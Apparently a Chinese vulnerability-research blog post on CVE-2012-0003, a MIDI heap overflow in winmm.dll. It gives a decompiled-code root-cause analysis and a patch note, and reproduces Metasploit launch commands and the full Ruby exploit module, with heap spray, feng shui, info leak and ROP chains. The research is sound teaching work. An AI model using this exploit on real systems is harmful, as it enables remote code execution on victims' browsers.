if ( midiOutScheduleNextEvent(wParam) )
break;
midiOutDequeueAndCallback(wParam);
}
...
v2[9] += 4;
v7 = v2[9];
...
v7 += 4;
...
v8 = *(_DWORD *)(v7 + wParama);
...
v10 = v8 & 0xFFFFFF;
...
v16 = *(_DWORD *)(wParam + 132);
...
}
v17 = v10;
if ( (v10 & 0x80u) != 0 ) {
...
wParam_3a = BYTE1(v10);
...
}
else {
v17 = *(_BYTE *)(wParam + 84);
wParam_3a = v10;
...
}
v33 = v17 & 0xF0;
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 ) {
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
...
v20 = (char *)(v19 + v16);
v21 = *v20; //! Crash Point
...
}
...
}
}

其中 wParam 为函数的参数。通过交叉引用可以定位到崩溃函数 midiOutPlayNextPolyEvent 的主调函数 midiOutTimerTick,其反编译代码与污点传播相关的部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __stdcall midiOutTimerTick(UINT uTimerID, UINT uMsg, DWORD_PTR dwUser, DWORD_PTR dw1, DWORD_PTR dw2) {
...
if ( !guMIDIInTimer ) {
v6 = (_DWORD *)gpEmuList;
guMIDIInTimer = 1;
if ( gpEmuList ) {
do {
v7 = clockTime(v6 + 22);
v8 = v6[13] == 0;
v6[32] = v7;
if ( v8 ) {
if ( !PDEVLOCK(v6) )
midiOutPlayNextPolyEvent((WPARAM)v6);
PDEVUNLOCK(v6);
}
...
}
while ( v6 );
}
...
}
...
}

查看污染源 gpEmuList 的交叉引用,发现它在函数 mseOpen 中赋值,在该函数的反编译代码中发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
MMRESULT __stdcall mseOpen(_DWORD *a1, _DWORD *a2, int a3) {
...
if ( v4 < 0x10000 ) {
v5 = (char *)winmmAlloc(v4);
if ( v5 ) {
v6 = (int)winmmAlloc(0x400u);
*((_DWORD *)v5 + 0x21) = v6; // 0x21 * 4 = 0x84
if ( v6 ) {
...
if ( v7 ) {
...
}
else {
if ( mmInitializeCriticalSection((LPCRITICAL_SECTION)(v5 + 16)) ) {
clockInit((int)(v5 + 88), 0, 0, (int)mseTimebase);
midiOutSetClockRate((int)v5, 0);
if ( !v13 ){
*(_DWORD *)v5 = gpEmuList;
gpEmuList = (WPARAM)v5; // gpEmuList assignment
*a1 = v5;
return v13;
}
}
else {
v13 = 7;
}
}
}
...
}
}
return v13;
}

该变量为 winmmAlloc 分配的堆指针,该堆分配函数具体实现的反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
void *__stdcall winmmAlloc(SIZE_T dwBytes) {
void *v1; // edx
void *result; // eax

v1 = HeapAlloc(hHeap, 0, dwBytes);
result = 0;
if ( v1 ) {
memset(v1, 0, dwBytes);
return v1;
}
return result;
}

以上的污点分析意味着

1
2
3
4
5
6
7
ESI = v20
= (char *)(v19 + v16)
= (char *)(v19 + *(_DWORD *)(wParam + 0x84)) // v16 = *(_DWORD *)(wParam + 0x84);
= (char *)(v19 + *(_DWORD *)(gpEmuList + 0x84)) // wParam = v6 = (_DWORD *)gpEmuList;
= (char *)(v19 + *(_DWORD *)(v5 + 0x84)) // gpEmuList = (WPARAM)v5;
= (char *)(v19 + *(_DWORD *)v6) // *((_DWORD *)v5 + 0x21) = v6; (0x21 * 4 = 0x84)
= (char *)(v19 + *(_DWORD *)winmmAlloc(0x400u)) // v6 = (int)winmmAlloc(0x400u);

因此 v16 实际上是一个大小为 0x400 的堆块的堆指针,并且也是 v20 寻址时的基地址,相应的 v19 则为偏移地址。但 v19 相较于 v16 有着更多的执行路径,没那么方便进行静态分析。不过根据动态调试结果可以发现 v19 = (0xB2 + 0xF << 7) / 2 = 0x419 > 0x400。因此程序发生堆溢出导致 Access Violation 异常。仅凭借目前的信息与对崩溃函数的简单观察难以找到漏洞发生的 root cause,为此我们需要理解函数内与程序崩溃有关的各个变量的含义与上下文。《漏洞战争》针对这个问题提出了基于导图推算的漏洞分析方法,即设置多个断点尤其是条件断点记录它们在每次运行时发生的变化,并借助这些信息推断各个变量之间的关系与各自的实际含义。其详细分析过程在此不过多赘述,总之通过观察样本与条件断点的输出能够推断出 v17 为状态码,为使程序通过判断条件走到包含 Exploit Point 的执行路径,v17 在这些约束条件下的最大值为 0x9F,样本选择了该最大值。因此 ((v17 & 0xF) << 7) = 0x780,当 wParam_3a 大于 0x80 时,程序将发生堆溢出。同时 wParam_3a 为音符编号,且按照 MIDI 格式规范其最大值为 0x7F,而样本将其修改为 0xB2,大于 0x80,故未经检验得到的偏移地址大于堆块大小,程序存在堆溢出漏洞。这个漏洞产生的后果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
      v20 = (char *)(v19 + v16);
v21 = *v20; //! Crash Point
v22 = *v20;
if ( (wParam_3a & 1) != 0 )
{
if ( (v22 & 0xF0) != 0xF0 )
{
v23 = v21 + 16;
LABEL_39:
*v20 = v23; //! Exploit Point
}
}
else if ( (v22 & 0xF) != 15 )
{
v23 = v21 + 1; //! Exploit Point
goto LABEL_39;
}

(wParam_3a & 1) == 0(v22 & 0xF) != 15 时,程序将依次执行 v21 = *v20;, v23 = v21 + 1;*v20 = v23; 三条语句。因此,该漏洞会使得溢出位置的数据增一。

这个漏洞在利用时最妙的地方就是配合 preliminary 中提到的堆溢出高级利用方式,通过将类型值为 0x08 的 String 对象通过增一修改成类型值为 0x09 的 Object 对象,进而控制虚表指针实现 RCE

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2012-0003

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms12_004_midi 2012-01-10 normal No MS12-004 midiOutPlayNextPolyEvent Heap Overflow
1 \_ target: Automatic . . . .
2 \_ target: IE 6 on Windows XP SP3 . . . .
3 \_ target: IE 7 on Windows XP SP3 . . . .
4 \_ target: IE 8 on Windows XP SP3 . . . .


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/browser/ms12_004_midi
After interacting with a module you can manually set a TARGET with set TARGET 'IE 8 on Windows XP SP3'

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/browser/ms12_004_midi
msf6 exploit(windows/browser/ms12_004_midi) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
       Name: MS12-004 midiOutPlayNextPolyEvent Heap Overflow
Module: exploit/windows/browser/ms12_004_midi
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-01-10

Provided by:
Shane Garrett
juan vazquez <juan.vazquez@metasploit.com>
sinn3r <sinn3r@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic
1 IE 6 on Windows XP SP3
2 IE 7 on Windows XP SP3
3 IE 8 on Windows XP SP3

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1024

Description:
This module exploits a heap overflow vulnerability in the Windows Multimedia
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
MIDI files. Remote code execution can be achieved by using the Windows Media Player
ActiveX control.

Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than what is
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.

Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
if you know your target's patch level, you may also try the 'MSHTML' advanced
option for an info leak based attack. Currently, this module only supports two
MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
Or 8.0.6001.19120, which is patch level before the MS12-004 fix.

Also, based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.

References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/MS12-004
https://nvd.nist.gov/vuln/detail/CVE-2012-0003
OSVDB (78210)
http://www.securityfocus.com/bid/51292


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/browser/ms12_004_midi) > set payload windows/exec
msf6 exploit(windows/browser/ms12_004_midi) > set CMD calc.exe
msf6 exploit(windows/browser/ms12_004_midi) > exploit

随后 MSF 将在本地启动 Web Server 并在攻击目标访问时为其响应 HTML 页面和异常 MIDI 文件以触发漏洞

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/browser/ms12_004_midi.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb

def initialize(info={})
super(update_info(info,
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'Payload' => {...},
'DefaultOptions' => {...},
'Platform' => 'win',
'Targets' => [...],
'Privileged' => false,
'DisclosureDate' => '2012-01-10',
'DefaultTarget' => 0))

register_options([...])
end

def exploit
@m_name, @midi = get_midi
@ml_name, @midi_leak = get_midi("leak")
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)

# Offset to CFunctionPointer vftable in MSHTML
case datastore['MSHTML']
when '8.0.6001.18702'
@offset = 0xbf190
when '8.0.6001.19120'
@offset = 0xd92c8
end
super
end

def get_target(request)
#* 根据 UA 识别浏览器类型以返回对应目标的 ROP 配置
agent = request.headers['User-Agent']
print_status("Request as: #{agent}")

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0
return targets[3]
else
return nil
end
end

# stage => "corruption" (default) | "leak"
def get_midi(stage="corruption")
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)

# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)

# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"

# Corruption events
if stage == "corruption"
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
else
# Midi Channel Event - Note Off (trigger a leak)
tc << "\x00\x8F\xb2\x73"
end

# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc

#midi_name = "test_case.mid"
midi_name = rand_text_alpha(5) + ".mid"

return midi_name, m
end

def on_request_uri(cli, request)
#* Web Server 的路由函数
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
agent = request.headers['User-Agent']
if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
send_not_found(cli)
print_error("Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
end

# Send the corrupt midi file to trigger a memory leak, or a crash to that points
# to an arbitrary address.
if request.uri =~ /#{@ml_name}$/i
print_status("Testing for info leak...")
send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
return
elsif request.uri =~ /#{@m_name}$/i
print_status("Sending midi corruption file...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end

# Send the appropriate stage
if datastore['MSHTML'].to_s != '' and my_target['Rop']
if request.uri =~ /#{@second_stage_url}/
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
print_status("Leaked address: 0x#{leak.to_s(16)}")
send_stage(cli, my_target, 'trigger', leak)
return
end
send_stage(cli, my_target, 'leak')
else
send_stage(cli, my_target)
end
end

def send_stage(cli, my_target, stage='trigger', leak=0)
#* 构造并发送包含漏洞触发代码的 HTML 页面
midi_uri = get_resource.chomp("/")

if stage == 'leak'
midi_uri << "/#{@ml_name}"
trigger = build_trigger(my_target, "leak")
else
midi_uri << "/#{@m_name}"
trigger = build_trigger(my_target)
spray = build_spray(my_target, leak)
end

if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate(memory_sensitive: true)
trigger_fn = trigger.sym('trigger')
else
trigger_fn = 'trigger'
end

html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
</script>

<script language='javascript'>
#{trigger}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
#{trigger_fn}();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="#{midi_uri}">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>
|

html = html.gsub(/^ {4}/, '')

print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def build_spray(my_target, leak=0)
#* 生成 Heap Spray 代码以布置 Shellcode
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end

# Build shellcode based on Rop requirement
code = ''
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
code << create_info_leak_rop(my_target, leak)
code << payload.encoded
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
print_status("Generating ROP using msvcrt")
code << create_rop(my_target, payload.encoded)
else
code << payload.encoded
end

shellcode = Rex::Text.to_unescape(code)

randnop = rand_text_alpha(rand(100) + 1)
js_nops = Rex::Text.to_unescape("\x0c"*4)

# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{shellcode}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});

while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;

#{js_extract_str}

heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}

JS

spray = heaplib(spray, {:noobfu => true})
return spray
end

# Build the JavaScript string for the attributes
# type => "corruption" (default) | "leak"
def build_element(element_name, my_target, type="corruption")
#* 创建带有多个属性(使得创建的对象大小与堆溢出 Chunk 的大小一致)的 HTML 元素以操控堆布局
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''

if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end

element << "var #{element_name} = document.createElement(\"select\")" + "\n"

# Build attributes
0.upto(max) do |i|
case type
when "corruption"
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
else #leak
obj = "alert"
end
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end

return element
end

# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target, type="corruption")
#* 大量创建和删除 DOM 元素制造堆块碎片以构造堆风水,触发 MIDI 播放以执行堆溢出
js_trigger = build_trigger_fn(my_target, type)
select_element = build_element('selob', my_target, type)

trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones = new Array(1000);

function feng_shui() {
heap.gc();

var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}

var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}

feng_shui();

#{js_trigger}
JS

trigger = heaplib(trigger, {:noobfu => true})
return trigger
end

# type = "corruption" (default) | "leak"
def build_trigger_fn(my_target, type="corruption")
#* 漏洞出发逻辑的具体实现
js_trigger= ""
case type
when "corruption"
js_trigger = js_trigger_fn_corruption(my_target)
when "leak"
js_trigger = js_trigger_fn_leak(my_target)
end
return js_trigger
end

# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_corruption(my_target)
#* 漏洞出发逻辑的具体实现
attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'

js = %Q|
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].#{attribute}) == "string") {
} else {
clones[k].#{attribute}('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
|

return js
end

# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_leak(my_target)
#* 漏洞出发逻辑的具体实现
js_trigger = ""
if my_target.name == 'IE 8 on Windows XP SP3'
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
return;
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
end

return js_trigger
end

def create_rop(t, p)
#* 生成 ROP 链绕过 DEP/ASLR
# MSVCRT.dll ROP
padding = ''
padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET
padding << [t['StackPivot']].pack("V*")
padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs
generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
end

def create_info_leak_rop(my_target, leak = 0x0)
#* 生成 ROP 链绕过 DEP/ASLR
base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
print_status("Image base of mshtml: 0x%x" %base)

# Generate the gadgets based on offset
rop_gadgets = ''
case @offset
when 0xd92c8
rop_gadgets =
[
:junk,
:junk,
0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0x247e5d, # ROP NOPs
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5c, # POP ESI # RETN [mshtml.dll]
0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
:junk,
0x3460c, # POP EBP # RETN [mshtml.dll]
:junk,
:junk,
0x23ef79, # & jmp esp [mshtml.dll]
0x189303, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000201-> ebx
0x20437c, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0xc277, # POP ECX # RETN [mshtml.dll]
0x53a47d, # &Writable location [mshtml.dll]
0x4a33e2, # POP EDI # RETN [mshtml.dll]
0x4b601, # RETN (ROP NOP) [mshtml.dll]
0x33fbc6, # POP EAX # RETN [mshtml.dll]
:nop,
0x52c718 # PUSHAD # RETN [mshtml.dll]
]

when 0xbf190
rop_gadgets =
[
:junk,
0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7
:junk,
:junk,
:junk,
:junk,
:junk,
0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
0x3dc745, # POP ESI # RETN [mshtml.dll]
:neg, # 0xffffffff
0x2fb18b, # INC ESI # RETN [mshtml.dll]
0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
0x4aada7, # POP EBP # RETN [mshtml.dll]
:junk, # Compensates RETN
:junk, # Compensates RETN
0x1ffc54, # & jmp esp [mshtml.dll]
0x4498a7, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000800: 0x00000201-> ebx
0x24cce4, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0x158306, # POP ECX # RETN [mshtml.dll]
0x535098, # &Writable location [mshtml.dll]
0x1cf217, # POP EDI # RETN [mshtml.dll]
0xa0001, # RETN (ROP NOP) [mshtml.dll]
0x349f9b, # POP EAX # RETN [mshtml.dll]
:nop,
0x2afbe8 # PUSHAD # RETN [mshtml.dll]
]
end

nops = make_nops(4).unpack("L")[0].to_i

rop_gadgets.map! { |e|
if e == :junk
rand_text(4).unpack("L")[0].to_i
elsif e == :neg
0xffffffff
elsif e == :ebx
0x00000800
elsif e == :edx
0x00000040
elsif e == :nop
nops
else
base + e
end
}

chain = rop_gadgets.pack('V*')
return chain
end
end

漏洞利用程序的入口是 exploit 方法,它将调用 get_midi 方法生成用于堆破坏和信息泄露的 MIDI 文件,根据 MSHTML 选项设置用于构造 ROP 链的偏移量,并调用父类的 exploit 方法。

get_midi 方法将构造 MIDI 头部和音轨数据块,同时根据 stage 参数插入不同的事件————如果 stage 为 corruption 则插入 Note On 事件触发堆溢出,为 leak 则插入 Note Off 事件触发信息泄露————随后返回随机命名的恶意 MIDI 文件及其二进制内容以用于触发漏洞

其余函数则与 Web Server 的工作有关,例如根据请求的 UA 头识别攻击目标的浏览器类型以生成对应的 payload,根据选择的 stage 执行不同的漏洞触发逻辑 JS 代码或 ROP 代码,其中非常值得一提的是与操控堆布局有关的 build_elment 函数和 build_trigger 函数,为什么要执行这样的 JS 代码可参见Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004),在此就不过多赘述

漏洞修复

patch 后的 winmm.dll 多了一条 and b1, 7Fh 指令截取音符编号的低 7 位以限制音符编号的大小进而避免了堆溢出的发生

Reference

NVD - CVE-2012-0003
CVE - CVE-2012-0003
CVEdetails.com - CVE-2012-0003
Microsoft Security Bulletin MS12-004 - Critical
Standard MIDI-File Format Spec. 1.1, updated
漏洞战争
Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004)
看雪论坛精华帖

  • Title: CVE-2012-0003 漏洞研究
  • Author: 7erry
  • Created at : 2024-09-11 23:35:30
  • Updated at : 2024-09-11 23:35:30
  • Link: http://7erry.com/2024/09/11/CVE-2012-0003-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.